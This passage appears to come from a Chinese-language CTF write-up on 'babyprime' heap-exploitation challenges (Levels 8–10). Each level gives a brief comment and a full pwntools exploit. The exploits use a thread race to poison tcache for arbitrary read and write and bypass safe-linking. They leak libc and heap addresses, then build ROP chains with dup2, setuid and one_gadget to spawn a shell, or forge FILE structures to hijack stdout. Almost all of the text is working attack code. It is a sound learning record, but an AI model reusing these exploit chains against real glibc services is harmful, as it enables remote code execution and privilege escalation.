def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, thread
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
malloc(0, 0)
malloc(0, 1)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
heap = int.from_bytes(thread[0].recvline().strip(), "little")
printf(0, 1)
thread[0].recvuntil(b"MESSAGE: ")
pos = int.from_bytes(thread[0].recvline().strip(), "little")
heap = demangle(heap, pos)
main_arena_ptr = heap - 0xAA1
thread_stdout = heap - 0x5F1
thread[0].success(f"pos: {hex(pos)}")
thread[0].success(f"heap: {hex(heap)}")
thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
thread[0].success(f"thread_stdout: {hex(thread_stdout)}")
raw_input("DEBUG")
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
thread[0].recvuntil(b"MESSAGE: ")
libc.address = int.from_bytes(thread[0].recvline().strip(), "little") - 0x21
9C80
heap_ptr = libc.address + 0x219CE0
__GI__IO_wfile_overflow = libc.address + 0x215FE0
thread[0].success(f"libc: {hex(libc.address)}")
thread[0].success(f"heap_ptr: {hex(heap_ptr)}")
thread[0].success(f"__GI__IO_wfile_overflow: {hex(__GI__IO_wfile_overflow)}"
)
raw_input("DEBUG")
malloc(0, 2)
malloc(0, 4)
free(0, 4)
free(0, 2)
arbitrary_read(2, 4, mangle(pos, heap_ptr))
thread[0].recvuntil(b"MESSAGE: ")
heap = int.from_bytes(thread[0].recvline().strip(), "little") - 0x530
empty_buffer = heap + 0x1000
thread[0].success(f"heap: {hex(heap)}")
thread[0].success(f"empty_buffer: {hex(empty_buffer)}")
raw_input("DEBUG")
malloc(0, 3)
malloc(0, 5)
free(0, 5)
free(0, 3)
# 0x7fbcf9683b94 <_IO_wdoallocbuf+36> mov rax, qword ptr [rax + 0xe0
]
# -> 0x7fbcf9683b9b <_IO_wdoallocbuf+43> call qword ptr [rax + 0x68]
leave_ret = libc.address + 0x4DA83
pop_rdi_ret = libc.address + 0x2A3E5
pop_rsi_ret = libc.address + 0x2BE51
pop_rbp_ret = libc.address + 0x2A2E0
pop_rax_ret = libc.address + 0x45EB0
one_gadget = libc.address + 0xEBD43
dup2 = libc.sym["dup2"]
syscall_ret = libc.address + 0x91316
payload = flat(
{
0x68: leave_ret,
0xE0: empty_buffer,
0xE8: pop_rdi_ret,
0xF0: 5,
0xF8: pop_rsi_ret,
0x100: 0,
0x108: dup2,
0x110: pop_rsi_ret,
0x118: 1,
0x120: dup2,
0x128: pop_rdi_ret,
0x130: 0,
0x138: pop_rax_ret,
0x140: constants.SYS_setuid,
0x148: syscall_ret,
0x150: one_gadget,
},
filler=b"x00",
)
arbitrary_write(3, 5, mangle(pos, empty_buffer), payload)
raw_input("DEBUG")
malloc(0, 6)
malloc(0, 7)
free(0, 7)
free(0, 6)
fp = FileStructure()
fp._lock = heap + 0x2000
fp._wide_data = empty_buffer
fp.vtable = __GI__IO_wfile_overflow
fp._IO_read_ptr = pop_rbp_ret
fp._IO_read_end = heap + (0x1000 + 0xE8) - 0x8
fp._IO_read_base = leave_ret
arbitrary_write(6, 7, mangle(pos, thread_stdout + 0x3), bytes(fp))
# thread[0].clean()
printf(0, 0)
thread[0].interactive()
if __name__ == "__main__":
main()
```
# Level 8
## Information
- Category: Pwn
## Description
> Create and use arbitrary read/write primitives to obtain the flag.
## Write-up
笑死了，这回我学聪明了，鉴于这题的 description 和上题一样，而上题我写的 exp 又是
拿 shell 的通解，且题目使用的 libc 版本都一样，我直接不看题，用上题的 exp 去跑，
然后……通了！LMAO
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
FileStructure,
constants,
context,
flat,
os,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "/challenge/babyprime_level8.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def printf(tid, idx):
thread[tid].sendline(f"printf {idx}".encode())
def malloc(tid, idx):
thread[tid].sendline(f"malloc {idx}".encode())
def scanf(tid, idx, content):
thread[tid].sendline(f"scanf {idx} {content}".encode())
def scanf_raw(tid, idx, content):
thread[tid].sendline(f"scanf {idx} ".encode() + content)
def free(tid, idx):
thread[tid].sendline(f"free {idx}".encode())
def quit(tid):
thread[tid].sendline(b"quit")
def arbitrary_read(poison_idx, result_idx, addr):
BAD_BYTES = {b"x20", b"x0c", b"x0a", b"x0d", b"x09", b"x0b"}
packed_addr = flat(addr)
if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
raise ValueError(
f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.he
x()}"
)
while True:
thread[0].send((f"malloc {poison_idx} free {poison_idx}n".encode()) * 10
000)
if os.fork() == 0:
thread[1].send(
(f"scanf {poison_idx}".encode() + packed_addr + b"n") * 10000
)
os.kill(os.getpid(), 9)
os.wait()
malloc(0, poison_idx)
printf(0, poison_idx)
thread[0].recvuntil(b"MESSAGE: ")
poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
if flat(poisoned) == packed_addr:
break
raw_input("DEBUG")
malloc(0, result_idx)
printf(0, result_idx)
def arbitrary_write(poison_idx, result_idx, addr, content):
arbitrary_read(poison_idx, result_idx, addr)
raw_input("RAW SCANF")
scanf_raw(0, result_idx, content)
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, thread
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
malloc(0, 0)
malloc(0, 1)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
heap = int.from_bytes(thread[0].recvline().strip(), "little")
printf(0, 1)
thread[0].recvuntil(b"MESSAGE: ")
pos = int.from_bytes(thread[0].recvline().strip(), "little")
heap = demangle(heap, pos)
main_arena_ptr = heap - 0xAA1
thread_stdout = heap - 0x5F1
thread[0].success(f"pos: {hex(pos)}")
thread[0].success(f"heap: {hex(heap)}")
thread[0].success(f"main_arena_ptr: {hex(main_arena_ptr)}")
thread[0].success(f"thread_stdout: {hex(thread_stdout)}")
raw_input("DEBUG")
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
arbitrary_read(0, 1, mangle(pos - 1, main_arena_ptr))
thread[0].recvuntil(b"MESSAGE: ")
libc.address = int.from_bytes(thread[0].recvline().strip(), "little") - 0x21
9C80
heap_ptr = libc.address + 0x219CE0
__GI__IO_wfile_overflow = libc.address + 0x215FE0
thread[0].success(f"libc: {hex(libc.address)}")
thread[0].success(f"heap_ptr: {hex(heap_ptr)}")
thread[0].success(f"__GI__IO_wfile_overflow: {hex(__GI__IO_wfile_overflow)}"
)
raw_input("DEBUG")
malloc(0, 2)
malloc(0, 4)
free(0, 4)
free(0, 2)
arbitrary_read(2, 4, mangle(pos, heap_ptr))
thread[0].recvuntil(b"MESSAGE: ")
heap = int.from_bytes(thread[0].recvline().strip(), "little") - 0x530
empty_buffer = heap + 0x1000
thread[0].success(f"heap: {hex(heap)}")
thread[0].success(f"empty_buffer: {hex(empty_buffer)}")
raw_input("DEBUG")
malloc(0, 3)
malloc(0, 5)
free(0, 5)
free(0, 3)
# 0x7fbcf9683b94 <_IO_wdoallocbuf+36> mov rax, qword ptr [rax + 0xe0
]
# -> 0x7fbcf9683b9b <_IO_wdoallocbuf+43> call qword ptr [rax + 0x68]
leave_ret = libc.address + 0x4DA83
pop_rdi_ret = libc.address + 0x2A3E5
pop_rsi_ret = libc.address + 0x2BE51
pop_rbp_ret = libc.address + 0x2A2E0
pop_rax_ret = libc.address + 0x45EB0
one_gadget = libc.address + 0xEBD43
dup2 = libc.sym["dup2"]
syscall_ret = libc.address + 0x91316
payload = flat(
{
0x68: leave_ret,
0xE0: empty_buffer,
0xE8: pop_rdi_ret,
0xF0: 5,
0xF8: pop_rsi_ret,
0x100: 0,
0x108: dup2,
0x110: pop_rsi_ret,
0x118: 1,
0x120: dup2,
0x128: pop_rdi_ret,
0x130: 0,
0x138: pop_rax_ret,
0x140: constants.SYS_setuid,
0x148: syscall_ret,
0x150: one_gadget,
},
filler=b"x00",
)
arbitrary_write(3, 5, mangle(pos, empty_buffer), payload)
raw_input("DEBUG")
malloc(0, 6)
malloc(0, 7)
free(0, 7)
free(0, 6)
fp = FileStructure()
fp._lock = heap + 0x2000
fp._wide_data = empty_buffer
fp.vtable = __GI__IO_wfile_overflow
fp._IO_read_ptr = pop_rbp_ret
fp._IO_read_end = heap + (0x1000 + 0xE8) - 0x8
fp._IO_read_base = leave_ret
arbitrary_write(6, 7, mangle(pos, thread_stdout + 0x3), bytes(fp))
# thread[0].clean()
printf(0, 0)
thread[0].interactive()
if __name__ == "__main__":
main()
```
# Level 9
## Information
- Category: Pwn
## Description
> Create and use arbitrary read/write primitives with less control of the heap.
## Write-up
堆噪声是吧，看上去好像很可怕，也只是看上去罢了。实际上这干扰有和没有都没啥区别……
至少在这题里是这样的。
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
os,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "/challenge/babyprime_level9.1"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def printf(tid, idx):
thread[tid].sendline(f"printf {idx}".encode())
def malloc(tid, idx):
thread[tid].sendline(f"malloc {idx}".encode())
def scanf(tid, idx, content):
thread[tid].sendline(f"scanf {idx} {content}".encode())
def scanf_raw(tid, idx, content):
thread[tid].sendline(f"scanf {idx} ".encode() + content)
def free(tid, idx):
thread[tid].sendline(f"free {idx}".encode())
def send_flag(tid, flag):
thread[tid].sendline(b"send_flag")
thread[tid].sendlineafter(b"Secret: ", flag)
def quit(tid):
thread[tid].sendline(b"quit")
def arbitrary_read(poison_idx, result_idx, addr):
BAD_BYTES = {b"x20", b"x0c", b"x0a", b"x0d", b"x09", b"x0b"}
packed_addr = flat(addr)
if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
raise ValueError(
f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.he
x()}"
)
while True:
thread[0].send((f"malloc {poison_idx} free {poison_idx}n".encode()) * 10
000)
if os.fork() == 0:
thread[1].send(
(f"scanf {poison_idx}".encode() + packed_addr + b"n") * 10000
)
os.kill(os.getpid(), 9)
os.wait()
malloc(0, poison_idx)
printf(0, poison_idx)
thread[0].recvuntil(b"MESSAGE: ")
poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
if flat(poisoned) == packed_addr:
break
raw_input("DEBUG")
malloc(0, result_idx)
printf(0, result_idx)
def arbitrary_write(poison_idx, result_idx, addr, content):
arbitrary_read(poison_idx, result_idx, addr)
raw_input("RAW SCANF")
scanf_raw(0, result_idx, content)
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, thread
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
malloc(0, 0)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
pos = int.from_bytes(thread[0].recvline().strip(), "little")
flag = (pos << 12) + 0xBD0
thread[0].success(f"pos: {hex(pos)}")
thread[0].success(f"flag: {hex(flag)}")
malloc(0, 0)
malloc(0, 1)
free(0, 1)
free(0, 0)
arbitrary_read(0, 1, mangle(pos, flag + 0x10))
thread[0].recvuntil(b"MESSAGE: ")
secret = thread[0].recvline()
send_flag(0, secret)
quit(0)
quit(1)
thread[0].interactive()
if __name__ == "__main__":
main()
```
# Level 10
## Information
- Category: Pwn
## Description
> Create and use arbitrary read/write primitives with less control of the heap I
I.
## Write-up
~~吃屎吃的最难受的一集。~~
不想破伪随机数发生器，那就想办法确定你能确定的，想办法猜出你不能确定的（
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
FileStructure,
context,
flat,
os,
process,
raw_input,
remote,
sys,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "/challenge/babyprime_level10.0"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def printf(tid, idx):
thread[tid].sendline(f"printf {idx}".encode())
def malloc(tid, idx):
thread[tid].sendline(f"malloc {idx}".encode())
def scanf(tid, idx, content):
thread[tid].sendline(f"scanf {idx} {content}".encode())
def scanf_raw(tid, idx, content):
thread[tid].sendline(f"scanf {idx} ".encode() + content)
def free(tid, idx):
thread[tid].sendline(f"free {idx}".encode())
def quit(tid):
thread[tid].sendline(b"quit")
def arbitrary_read(poison_idx, result_idx, addr):
global rand_size
BAD_BYTES = {b"x20", b"x0c", b"x0a", b"x0d", b"x09", b"x0b"}
packed_addr = flat(addr)
if any(bytes([byte]) in BAD_BYTES for byte in packed_addr):
raise ValueError(
f"Address {hex(addr)} contains a bad byte for scanf: {packed_addr.he
x()}"
)
while True:
thread[0].send((f"malloc {poison_idx} free {poison_idx}n".encode()) * 10
000)
if os.fork() == 0:
thread[1].send(
(f"scanf {poison_idx}".encode() + packed_addr + b"n") * 10000
)
os.kill(os.getpid(), 9)
os.wait()
malloc(0, poison_idx)
printf(0, poison_idx)
thread[0].recvuntil(b"MESSAGE: ")
poisoned = int.from_bytes(thread[0].recvline().strip(), "little")
if flat(poisoned) == packed_addr:
break
# raw_input("DEBUG")
malloc(0, result_idx)
printf(0, result_idx)
def arbitrary_write(poison_idx, result_idx, addr, content):
arbitrary_read(poison_idx, result_idx, addr)
# raw_input("RAW SCANF")
scanf_raw(0, result_idx, content)
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, thread
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
thread[0].recvuntil(b"Your flag is: ")
flag_p0 = thread[0].recvuntil(b"..!n")[:-4]
thread[0].success(f"flag_p0: {flag_p0}")
malloc(0, 0)
free(0, 0)
malloc(0, 0)
printf(0, 0)
thread[0].recvuntil(b"MESSAGE: ")
pos = int.from_bytes(thread[0].recvline().strip(), "little")
heap = pos << 12
hexpos = hex(pos)[2:]
if len(hexpos) != 9:
thread[0].failure(f"invalid pos (need equal to 9 hex digits): {hex(pos)}
")
try:
thread[0].close()
thread[1].close()
except:
pass
os.execv(sys.executable, [sys.executable] + sys.argv)
thread_stdout = heap - 0x102B0
secret = thread_stdout + 0x3C0
thread[0].success(f"pos: {hex(pos)}")
thread[0].success(f"stdout: {hex(thread_stdout)}")
thread[0].success(f"secret: {hex(secret)}")
expected_low = 0x0D50
low_16 = thread_stdout & 0xFFFF
if low_16 != expected_low:
thread[0].failure(f"bad stdout low bits: {hex(low_16)} != {hex(expected_
low)}")
try:
thread[0].close()
thread[1].close()
except:
pass
os.execv(sys.executable, [sys.executable] + sys.argv)
# raw_input("DEBUG")
malloc(0, 2)
malloc(0, 4)
free(0, 4)
free(0, 2)
fp = FileStructure()
fp.write(secret, 0x100)
fp.fileno = 5
arbitrary_write(
2,
4,
mangle((pos) - 0x3, thread_stdout),
fp.struntil("_flags2"),
)
malloc(0, 10)
thread[0].interactive()
if __name__ == "__main__":
main()
```
